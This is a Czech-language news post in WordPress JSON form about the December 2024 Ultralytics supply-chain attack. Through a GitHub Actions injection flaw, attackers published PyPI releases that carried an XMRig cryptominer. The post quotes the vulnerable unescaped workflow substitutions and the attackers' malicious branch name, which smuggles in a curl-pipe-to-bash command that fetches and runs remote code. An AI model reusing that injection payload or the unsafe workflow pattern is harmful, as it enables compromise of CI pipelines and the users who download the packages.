{"id":120890,"date":"2024-12-07T15:46:00","date_gmt":"2024-12-07T13:46:01","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics"},"modified":"2024-12-07T15:46:00","modified_gmt":"2024-12-07T13:46:01","slug":"oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","status":"publish","type":"post","link":"https:\/\/prohoster.info\/cs\/blog\/news\/oshibka-v-obrabotchike-github-actions-privela-k-publikaczii-vredonosnyh-relizov-ultralytics","title":{"rendered":"Chyba v zpracovatelsk\u00e9m modulu GitHub Actions vedla k publikaci \u0161kodliv\u00fdch verz\u00ed Ultralytics","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
\u00dato\u010dn\u00edci byli schopni prov\u00e9st k\u00f3d s opr\u00e1vn\u011bn\u00edm zpracovatele GitHub Actions v repozit\u00e1\u0159i Pythonov\u00e9 knihovny Ultralytics, kter\u00e1 se pou\u017e\u00edv\u00e1 k \u0159e\u0161en\u00ed \u00faloh po\u010d\u00edta\u010dov\u00e9ho vid\u011bn\u00ed, jako je rozpozn\u00e1v\u00e1n\u00ed objekt\u016f na obr\u00e1zc\u00edch a segmentace obr\u00e1zk\u016f. Po z\u00edsk\u00e1n\u00ed p\u0159\u00edstupu k repozit\u00e1\u0159i za\u00fato\u010dili a zve\u0159ejnili v katalogu PyPI n\u011bkolik nov\u00fdch verz\u00ed Ultralytics, kter\u00e9 obsahovaly \u0161kodliv\u00e9 zm\u011bny pro t\u011b\u017ebu kryptom\u011bn. V posledn\u00edm m\u011bs\u00edci byla knihovna Ultralytics sta\u017eena z katalogu PyPI v\u00edce ne\u017e 6,4 milionukr\u00e1t. <\/p>\n
K kompromitaci repozit\u00e1\u0159e byla vyu\u017eita zranitelnost v bal\u00ed\u010dku ultralytics-actions, kter\u00fd se pou\u017e\u00edv\u00e1 pro automatick\u00e9 spu\u0161t\u011bn\u00ed zpracovatel\u016f p\u0159i prov\u00e1d\u011bn\u00ed ur\u010dit\u00fdch akc\u00ed s repozit\u00e1\u0159em na GitHubu pomoc\u00ed mechanismu GitHub Actions. V projektu ultralytics byl zraniteln\u00fd zpracovatel v\u00e1z\u00e1n na ud\u00e1lost pull_request_target a byl vyvol\u00e1n p\u0159i p\u0159\u00edchodu nov\u00fdch pull \u017e\u00e1dost\u00ed. Konkr\u00e9tn\u011b pro form\u00e1tov\u00e1n\u00ed k\u00f3du ve zas\u00edlan\u00fdch pull \u017e\u00e1dostech byl vyvol\u00e1n zpracovatel format.yml a spou\u0161t\u011bn k\u00f3d uveden\u00fd v sekci \"run\" souboru action.yml, v n\u011bm\u017e byly shell p\u0159\u00edkazy s v\u00fdrazy pro substituci: git pull origin ${{ github.head_ref || github.ref }} git config --global user.name \"${{ inputs.github_username }}\" git config --global user.email \"${{ inputs.github_email }}\" <\/p>\n
T\u00edmto zp\u016fsobem se do shell p\u0159\u00edkaz\u016f bez \u0159\u00e1dn\u00e9ho escapov\u00e1n\u00ed dosadilo jm\u00e9no Git v\u011btve, zm\u00edn\u011bn\u00e9 v pull \u017e\u00e1dosti. Je zaj\u00edmav\u00e9, \u017ee v srpnu ji\u017e byla v bal\u00ed\u010dku ultralytics-actions opravena podobn\u00e1 zranitelnost souvisej\u00edc\u00ed s pou\u017eit\u00edm extern\u00ed hodnoty ve funkci echo: echo \"github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}\" <\/p>\n
Aby organizovali prov\u00e1d\u011bn\u00ed sv\u00e9ho k\u00f3du v kontextu zpracovatele GitHub Actions, \u00fato\u010dn\u00edci odeslali pull request do repozit\u00e1\u0159e ultralytics, kde jako n\u00e1zev v\u011btve uvedli: openimbot:$({curl,-sSfL,raw.githubusercontent.com\/ultralytics\/ultralytics\/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545\/file.sh}${IFS}|${IFS}bash) <\/p>\n
Dop correspondingly, p\u0159i p\u0159ijet\u00ed pull \u017e\u00e1dosti se do k\u00f3du dosadila \u00fato\u010dn\u00edky zadan\u00e1 \u0159et\u011bzec \"$(…)\". P\u0159i n\u00e1sledn\u00e9m spu\u0161t\u011bn\u00ed zpracovatele vedlo k proveden\u00ed k\u00f3du \"curl -sSfL raw.githubusercontent.com\/…\/file.sh | bash\".
<\/center> <\/p>\n
Spu\u0161t\u011bn\u00ed k\u00f3du v kontextu GitHub Actions m\u016f\u017ee b\u00fdt pou\u017eito k zachycen\u00ed p\u0159\u00edstupov\u00e9ho tokenu k repozit\u00e1\u0159i a dal\u0161\u00edch d\u016fv\u011brn\u00fdch \u00fadaj\u016f. Jak se \u00fato\u010dn\u00edk\u016fm poda\u0159ilo vytvo\u0159it release, aby z\u00edskali mo\u017enost spou\u0161t\u011bt sv\u016fj k\u00f3d v GitHub Actions, zat\u00edm nen\u00ed jasn\u00e9. P\u0159edpokl\u00e1d\u00e1 se, \u017ee to bylo mo\u017en\u00e9 d\u00edky zm\u011bn\u011b handleru publish.yml (\u00fato\u010dn\u00edci odstranili kontrolu \u00fa\u010dtu, ze kter\u00e9ho je povoleno publikovat releases na PyPI) a vyu\u017eit\u00ed techniky otravy build cache GitHub Actions k vlo\u017een\u00ed sv\u00fdch \u00fadaj\u016f do release. <\/p>\n
Prvn\u00ed \u0161kodliv\u00fd release Ultralytics 8.3.41 byl publikov\u00e1n \u00fato\u010dn\u00edky v katalogu PyPI 4. prosince v 23:51 (MSK) a odstran\u011bn n\u00e1sleduj\u00edc\u00ed den v 12:15. V 15:47 byl um\u00edst\u011bn dal\u0161\u00ed release 8.3.42, kter\u00fd byl odstran\u011bn v 16:47. Tak\u017ee \u0161kodliv\u00e9 verze byly celkov\u011b k dispozici ke sta\u017een\u00ed p\u0159ibli\u017en\u011b 13 hodin (v den se na PyPI zaznamen\u00e1v\u00e1 asi 250 tis\u00edc sta\u017een\u00ed knihovny ultralytics). Ve vyd\u00e1n\u00edch 8.3.41 a 8.3.42 byl k\u00f3d, kter\u00fd prov\u00e1d\u00ed stahov\u00e1n\u00ed z extern\u00edho serveru<\/a> komponentu XMRig pro t\u011b\u017ebu kryptom\u011bny. <\/p>\n
![\"Chyba](\"\/wp-content\/uploads\/2024\/12\/c734b63e67d629d8af635f4193bfb0d0.png\")
<\/center> <\/p>\n